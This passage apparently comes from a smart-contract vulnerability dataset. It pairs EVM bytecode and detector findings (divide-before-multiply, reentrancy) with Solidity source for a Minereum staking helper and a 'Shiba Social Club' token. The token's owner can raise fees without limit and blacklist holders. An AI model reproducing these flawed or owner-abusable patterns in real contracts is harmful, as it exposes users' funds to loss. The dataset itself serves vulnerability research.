f578082015181840152602081019050611d44565b50505050905090810190601f168015611d8c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611def83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611df7565b905092915050565b6000808314158290611ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e69578082015181840152602081019050611e4e565b50505050905090810190601f168015611e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481611eae57fe5b069050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220fd29f680756b6dc834fa9fcf790caafb2fbdff2ee7626aa803ee07ff8504f54464736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,010 |
0xfaafbff86724e358f6540ffbab98bcce01bc9eea
|
pragma solidity ^0.6.1;
interface Staking {
function AddressBonus ( address ) external view returns ( uint256 );
function AddressBonusGet ( address _address ) external view returns ( uint256 );
function AmountMNESent ( address _address, bool _excludeCurrent, bool _currentOnly ) external view returns ( uint256 );
function AmountToPayBonus ( address _address ) external view returns ( uint256 );
function AmountToPayStaking ( address _address, bool _checkID, uint256 i, bool _excludeCurrent, bool _currentOnly ) external view returns ( uint256 );
function Bonus ( address, uint256 ) external view returns ( uint256 );
function BonusAmount ( address, uint256 ) external view returns ( uint256 );
function BonusAmountGet ( address _address ) external view returns ( uint256[] memory);
function BonusAmountGetAt ( address _address, uint256 i ) external view returns ( uint256 );
function BonusAmountLength ( address _address ) external view returns ( uint256 );
function BonusDay ( address, uint256 ) external view returns ( uint256 );
function BonusDayGet ( address _address ) external view returns ( uint256[] memory);
function BonusDayGetAt ( address _address, uint256 i ) external view returns ( uint256 );
function BonusDayLength ( address _address ) external view returns ( uint256 );
function BonusFrom ( address, uint256 ) external view returns ( address );
function BonusFromGet ( address _address ) external view returns ( address[] memory);
function BonusFromGetAt ( address _address, uint256 i ) external view returns ( address );
function BonusFromLength ( address _address ) external view returns ( uint256 );
function BonusGet ( address _address ) external view returns ( uint256[] memory);
function BonusGetAt ( address _address, uint256 i ) external view returns ( uint256 );
function BonusLength ( address _address ) external view returns ( uint256 );
function BonusPaid ( address ) external view returns ( bool );
function BonusPaidGet ( address _address ) external view returns ( bool );
function DateBonusPayoutPossible ( address _address ) external view returns ( uint256 );
function DateStakingPayoutPossible ( address _address ) external view returns ( uint256 );
function FillMaxInterestRate1 ( ) external;
function FillMaxInterestRate2 ( ) external;
function GetCurrentDay ( ) external view returns ( uint256 );
function PayoutAllStaking ( address _address ) external;
function PayoutBonus ( address _address ) external;
function PayoutStaking ( uint256 i, address _address ) external;
function StakingPaid ( address, uint256 ) external view returns ( bool );
function StakingPaidGet ( address _address ) external view returns ( bool[] memory);
function StakingPaidGetAt ( address _address, uint256 i ) external view returns ( bool );
function StakingPaidLength ( address _address ) external view returns ( uint256 );
function TransferAllFundsOut ( address _address, uint256 _amount ) external;
function blockPayouts ( ) external view returns ( bool );
function blockStaking ( ) external view returns ( bool );
function bonusAddress ( uint256 ) external view returns ( address );
function bonusAddressLength ( ) external view returns ( uint256 );
function contingency ( ) external view returns ( uint256 );
function daysParticipated ( address, uint256 ) external view returns ( uint256 );
function daysParticipatedGet ( address _address ) external view returns ( uint256[] memory);
function daysParticipatedGetAt ( address _address, uint256 i ) external view returns ( uint256 );
function daysParticipatedLength ( address _address ) external view returns ( uint256 );
function external1 ( ) external view returns ( address );
function gn ( ) external view returns ( address );
function maxInterestRate ( uint256 ) external view returns ( uint256 );
function maxInterestRateLength ( ) external view returns ( uint256 );
function mneContract ( ) external view returns ( address );
function mnePerDay ( uint256 ) external view returns ( uint256 );
function mnePerDayLength ( ) external view returns ( uint256 );
function mneSentPerDay ( address, uint256 ) external view returns ( uint256 );
function mneSentPerDayGet ( address _address ) external view returns ( uint256[] memory);
function mneSentPerDayGetAt ( address _address, uint256 i ) external view returns ( uint256 );
function mneSentPerDayLength ( address _address ) external view returns ( uint256 );
function newBonusCoins ( ) external view returns ( uint256 );
function newStakingCoins ( ) external view returns ( uint256 );
function overallBonus ( ) external view returns ( uint256 );
function overallMNEStaking ( ) external view returns ( uint256 );
function paidStakingCoins ( ) external view returns ( uint256 );
function participatedAddress ( uint256 ) external view returns ( address );
function participatedAddressLength ( ) external view returns ( uint256 );
function pc ( ) external view returns ( address );
function referralRate ( ) external view returns ( uint256 );
function referrerRateLevel2 ( ) external view returns ( uint256 );
function referrerRateLevel3 ( ) external view returns ( uint256 );
function referrerRateNormal ( ) external view returns ( uint256 );
function referrerRateShare ( ) external view returns ( uint256 );
function setUpdater ( ) external;
function startDate ( ) external view returns ( uint256 );
function startStaking ( address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList ) external;
function updateExternal1 ( address _address ) external;
function updateGenesis ( address _address ) external;
function updateMneContract ( address _address ) external;
function updatePublicCalls ( address _address ) external;
function updateStartDate ( uint256 _startDate ) external;
function updateVars ( bool _blockPayouts, bool _blockStaking, uint256 _referralRate, uint256 _referrerRateNormal, uint256 _referrerRateLevel2, uint256 _referrerRateLevel3, uint256 _referrerRateShare, uint256 _contingency ) external;
function updaterAddress ( ) external view returns ( address );
}
contract MinereumStakingHelperCurrent
{
Staking sk;
constructor() public
{
sk = Staking(0xCb2Aee9A6dAC92c1076f642FE4f2c9bcFFc81D9e);
}
function AmountMNESentCurrent(address _address) public view returns (uint256)
{
if (sk.mneSentPerDayLength(_address) == 0) return 0;
uint currentDay = sk.GetCurrentDay();
uint _currentDay = sk.daysParticipatedGetAt(_address, sk.daysParticipatedLength(_address) - 1);
uint lasti = sk.daysParticipatedLength(_address) - 1;
if (_currentDay == currentDay)
{
return sk.mneSentPerDayGetAt(_address, lasti);
}
return 0;
}
function AmountToPayStakingCurrent(address _address) public view returns (uint256)
{
if (sk.daysParticipatedLength(_address) == 0) return 0;
uint currentDay = sk.GetCurrentDay();
uint _currentDay = sk.daysParticipatedGetAt(_address, sk.daysParticipatedLength(_address) - 1);
uint lasti = sk.daysParticipatedLength(_address) - 1;
if (_currentDay == currentDay)
{
uint interestRateToPay = sk.mneSentPerDayGetAt(_address, lasti) * sk.maxInterestRate(sk.daysParticipatedGetAt(_address, lasti)) * 1000000000000000 / sk.mnePerDay(sk.daysParticipatedGetAt(_address, lasti));
uint coinsToMint = sk.mneSentPerDayGetAt(_address, lasti) * interestRateToPay / 1000000000000000 / 100;
uint amountToPay = sk.mneSentPerDayGetAt(_address, lasti) + coinsToMint;
return amountToPay;
}
else
{
return 0;
}
}
function AmountToPayStakingOverall(address _address) public view returns (uint256)
{
uint currentDay = sk.GetCurrentDay();
uint j = 0;
uint finalAmount = 0;
while (j < sk.mneSentPerDayLength(_address))
{
if ((sk.daysParticipatedGetAt(_address, j) == currentDay)) break;
if (!sk.StakingPaidGetAt(_address, j))
{
uint interestRateToPay = sk.mneSentPerDayGetAt(_address, j) * sk.maxInterestRate(sk.daysParticipatedGetAt(_address,j)) * 1000000000000000 / sk.mnePerDay(sk.daysParticipatedGetAt(_address, j));
uint coinsToMint = sk.mneSentPerDayGetAt(_address, j) * interestRateToPay / 1000000000000000 / 100;
uint amountToPay = sk.mneSentPerDayGetAt(_address, j) + coinsToMint;
finalAmount += amountToPay;
}
j++;
}
return finalAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063279bc0ba146100465780639322431f1461007e578063c57c7507146100a4575b600080fd5b61006c6004803603602081101561005c57600080fd5b50356001600160a01b03166100ca565b60408051918252519081900360200190f35b61006c6004803603602081101561009457600080fd5b50356001600160a01b03166103f4565b61006c600480360360208110156100ba57600080fd5b50356001600160a01b0316610a45565b60008054604080516368816ae960e01b81526001600160a01b038581166004830152915191909216916368816ae9916024808301926020929190829003018186803b15801561011857600080fd5b505afa15801561012c573d6000803e3d6000fd5b505050506040513d602081101561014257600080fd5b5051610150575060006103ef565b60008060009054906101000a90046001600160a01b03166001600160a01b031663cf2241286040518163ffffffff1660e01b815260040160206040518083038186803b15801561019f57600080fd5b505afa1580156101b3573d6000803e3d6000fd5b505050506040513d60208110156101c957600080fd5b50516000805460408051636c2342fd60e01b81526001600160a01b0388811660048301529151949550929391169163b721c9f49187916001918591636c2342fd916024808301926020929190829003018186803b15801561022957600080fd5b505afa15801561023d573d6000803e3d6000fd5b505050506040513d602081101561025357600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0390941660048501529190036024830152516044808301926020929190829003018186803b1580156102a257600080fd5b505afa1580156102b6573d6000803e3d6000fd5b505050506040513d60208110156102cc57600080fd5b50516000805460408051636c2342fd60e01b81526001600160a01b038981166004830152915194955092936001939190921691636c2342fd91602480820192602092909190829003018186803b15801561032557600080fd5b505afa158015610339573d6000803e3d6000fd5b505050506040513d602081101561034f57600080fd5b5051039050818314156103e757600054604080516384d13e8d60e01b81526001600160a01b03888116600483015260248201859052915191909216916384d13e8d916044808301926020929190829003018186803b1580156103b057600080fd5b505afa1580156103c4573d6000803e3d6000fd5b505050506040513d60208110156103da57600080fd5b505193506103ef92505050565b600093505050505b919050565b6000805460408051636c2342fd60e01b81526001600160a01b03858116600483015291519190921691636c2342fd916024808301926020929190829003018186803b15801561044257600080fd5b505afa158015610456573d6000803e3d6000fd5b505050506040513d602081101561046c57600080fd5b505161047a575060006103ef565b60008060009054906101000a90046001600160a01b03166001600160a01b031663cf2241286040518163ffffffff1660e01b815260040160206040518083038186803b1580156104c957600080fd5b505afa1580156104dd573d6000803e3d6000fd5b505050506040513d60208110156104f357600080fd5b50516000805460408051636c2342fd60e01b81526001600160a01b0388811660048301529151949550929391169163b721c9f49187916001918591636c2342fd916024808301926020929190829003018186803b15801561055357600080fd5b505afa158015610567573d6000803e3d6000fd5b505050506040513d602081101561057d57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0390941660048501529190036024830152516044808301926020929190829003018186803b1580156105cc57600080fd5b505afa1580156105e0573d6000803e3d6000fd5b505050506040513d60208110156105f657600080fd5b50516000805460408051636c2342fd60e01b81526001600160a01b038981166004830152915194955092936001939190921691636c2342fd91602480820192602092909190829003018186803b15801561064f57600080fd5b505afa158015610663573d6000803e3d6000fd5b505050506040513d602081101561067957600080fd5b505103905081831415610a39576000805460408051632dc8727d60e21b81526001600160a01b038981166004830152602482018690529151919092169163bb7831d591839163b721c9f4916044808301926020929190829003018186803b1580156106e357600080fd5b505afa1580156106f7573d6000803e3d6000fd5b505050506040513d602081101561070d57600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d602081101561077657600080fd5b505160005460408051632dc8727d60e21b81526001600160a01b038a81166004830152602482018790529151919092169163ff92c30891839163b721c9f4916044808301926020929190829003018186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d60208110156107fe57600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b15801561083d57600080fd5b505afa158015610851573d6000803e3d6000fd5b505050506040513d602081101561086757600080fd5b5051600054604080516384d13e8d60e01b81526001600160a01b038b8116600483015260248201889052915191909216916384d13e8d916044808301926020929190829003018186803b1580156108bd57600080fd5b505afa1580156108d1573d6000803e3d6000fd5b505050506040513d60208110156108e757600080fd5b50510266038d7ea4c6800002816108fa57fe5b60008054604080516384d13e8d60e01b81526001600160a01b038c81166004830152602482018990529151959094049550919360649366038d7ea4c6800093879316916384d13e8d91604480820192602092909190829003018186803b15801561096357600080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d602081101561098d57600080fd5b5051028161099757fe5b048161099f57fe5b60008054604080516384d13e8d60e01b81526001600160a01b038d81166004830152602482018a905291519590940495509193859392909116916384d13e8d916044808301926020929190829003018186803b1580156109fe57600080fd5b505afa158015610a12573d6000803e3d6000fd5b505050506040513d6020811015610a2857600080fd5b50510196506103ef95505050505050565b600093505050506103ef565b60008054604080516319e4482560e31b8152905183926001600160a01b03169163cf224128916004808301926020929190829003018186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b505190506000805b600054604080516368816ae960e01b81526001600160a01b038881166004830152915191909216916368816ae9916024808301926020929190829003018186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d6020811015610b3357600080fd5b50518210156110075760005460408051632dc8727d60e21b81526001600160a01b0388811660048301526024820186905291518693929092169163b721c9f491604480820192602092909190829003018186803b158015610b9357600080fd5b505afa158015610ba7573d6000803e3d6000fd5b505050506040513d6020811015610bbd57600080fd5b50511415610bca57611007565b6000546040805163362b19dd60e21b81526001600160a01b038881166004830152602482018690529151919092169163d8ac6774916044808301926020929190829003018186803b158015610c1e57600080fd5b505afa158015610c32573d6000803e3d6000fd5b505050506040513d6020811015610c4857600080fd5b5051610ffc576000805460408051632dc8727d60e21b81526001600160a01b038981166004830152602482018790529151919092169163bb7831d591839163b721c9f4916044808301926020929190829003018186803b158015610cab57600080fd5b505afa158015610cbf573d6000803e3d6000fd5b505050506040513d6020811015610cd557600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d6020811015610d3e57600080fd5b505160005460408051632dc8727d60e21b81526001600160a01b038a81166004830152602482018890529151919092169163ff92c30891839163b721c9f4916044808301926020929190829003018186803b158015610d9c57600080fd5b505afa158015610db0573d6000803e3d6000fd5b505050506040513d6020811015610dc657600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b158015610e0557600080fd5b505afa158015610e19573d6000803e3d6000fd5b505050506040513d6020811015610e2f57600080fd5b5051600054604080516384d13e8d60e01b81526001600160a01b038b8116600483015260248201899052915191909216916384d13e8d916044808301926020929190829003018186803b158015610e8557600080fd5b505afa158015610e99573d6000803e3d6000fd5b505050506040513d6020811015610eaf57600080fd5b50510266038d7ea4c680000281610ec257fe5b60008054604080516384d13e8d60e01b81526001600160a01b038c81166004830152602482018a90529151959094049550919360649366038d7ea4c6800093879316916384d13e8d91604480820192602092909190829003018186803b158015610f2b57600080fd5b505afa158015610f3f573d6000803e3d6000fd5b505050506040513d6020811015610f5557600080fd5b50510281610f5f57fe5b0481610f6757fe5b60008054604080516384d13e8d60e01b81526001600160a01b038d81166004830152602482018b905291519590940495509193859392909116916384d13e8d916044808301926020929190829003018186803b158015610fc657600080fd5b505afa158015610fda573d6000803e3d6000fd5b505050506040513d6020811015610ff057600080fd5b50510193909301925050505b600190910190610abc565b94935050505056fea26469706673582212201aa4348b8a72f6c9b68512f98a813f5cf0aa8577953dcc14cdf6768d903c989d64736f6c63430006010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,011 |
0x0ee20cc5f15a0c9e586a4358ced695b7c96a172f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
📨Twitter:https://twitter.com/Shibaclubnft
🐕Website:https://shibasocialclub.com/
🐋Join us:https://discord.com/invite/shibasocialclub
🐕Instagram:https://www.instagram.com/shibasocialclub_nft/
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaSocialClub is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Social Club";
string private constant _symbol = "SOC";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x19C160413247dAD0A338EcEEb574C5C6E5906B86);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function enbaleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b80632fd689e31161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b80632fd689e314610329578063313ce56714610354578063399d9c9e1461037f57806349bd5a5e146103a8576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190612fe5565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b89190613084565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906130ae565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130c9565b61092a565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906130ae565b60405180910390f35b34801561036057600080fd5b50610369610a09565b6040516103769190613138565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061317f565b610a12565b005b3480156103b457600080fd5b506103bd610aab565b6040516103ca91906131bb565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f591906131d6565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e91906132c7565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610c98565b005b34801561045a57600080fd5b506104756004803603810190610470919061317f565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190613348565b610e08565b6040516104ab91906130ae565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613375565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906130ae565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b60405161054191906131bb565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130ae565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613348565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130ae565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190613348565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107